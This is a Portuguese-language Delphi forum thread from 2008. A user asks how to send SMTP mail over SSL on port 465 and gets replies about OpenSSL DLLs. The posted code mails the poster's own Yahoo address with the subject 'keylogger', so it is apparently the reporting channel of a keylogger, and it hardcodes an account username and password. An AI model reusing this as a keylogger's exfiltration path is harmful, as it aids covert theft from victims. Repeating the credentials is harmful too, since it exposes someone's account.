Fórum Me ajuda quot;Como enviar email smtp com ssl na porta 465q #365803
03/11/2008
0
IdSMTP1.Host:= (´smtp.mail.yahoo.com.br´);
IdSMTP1.Port:= 465;
IdSMTP1.Username:= ´oculto765´;
IdSMTP1.Password:= ´rpcf0907´;
IdSMTP1.Connect;
if IdSMTP1.Connected then
begin
with lMensagem do
begin
Subject := ´keylogger´;
From.Address := ´oculto765@yahoo.com.br´;
Recipients.EMailAddresses:= ´oculto765@yahoo.com.br´;
Body.Text := ´teste´;
IdSMTP1.Send(lMensagem);
IdSMTP1.Disconnect;
lMensagem.Free;
IdSMTP1.free;
close;
end;
end;
obs: ja coloquei IdSSLIOHandlerSocket1 e associei as propriedades iohandler do idSMTP1 com IdSSLIOHandlerSocket1 e troquei o mode tbm para sslmClient
porem quando compilo ele da um erro assim ó: exception class EIdOSSLCouldNotLoadSSLLibrary with message ´Could not load SSL library´
Geleiask8
Curtir tópico
+ 0Posts
03/11/2008
Geleiask8
Gostei + 0
03/11/2008
Luiz Henrique
Qual delphi esta usando ?
Note que ele esta reclamando uma biblioteca.
No D2007, compilou o projeto sem problemas, so que este componente IdSSLIOHandlerSocket1 no D2007 esta como TIdSSLIOHandlerSocketOpenSSL. Veja as bibliotecas em uso para estes componentes:
IdSMTP1: TIdSMTP;
lMensagem: TIdMessage;
IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
Bibliotecas:
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP, IdMessage,
IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL;
Espero que te ajude, T+
Gostei + 0
04/11/2008
Wdrocha
Eu tive o mesmo problema....e resolvi colocando duas DLL´s na pasta do meu aplicativo, são elas : libeay32.dll e ssleay32.dll....ponha na System32 tbm....
Fiz assim e funcionou.....
Espero ter ajudado....
Flw
Gostei + 0
04/11/2008
Geleiask8
obs: coloquei nas duas pastas e n funciono memo erro
a e eu tenho windows vista naum se se muda algo e uso delphi 7
Gostei + 0
Clique aqui para fazer login e interagir na Comunidade :)